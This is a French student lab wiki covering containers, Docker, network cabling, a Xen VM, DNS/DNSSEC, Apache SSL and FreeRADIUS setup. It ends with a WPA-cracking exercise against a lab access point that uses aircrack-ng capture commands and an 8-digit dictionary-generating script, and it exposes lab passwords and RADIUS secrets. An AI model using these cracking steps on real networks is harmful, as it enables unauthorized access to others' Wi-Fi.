==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Httpshercule.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
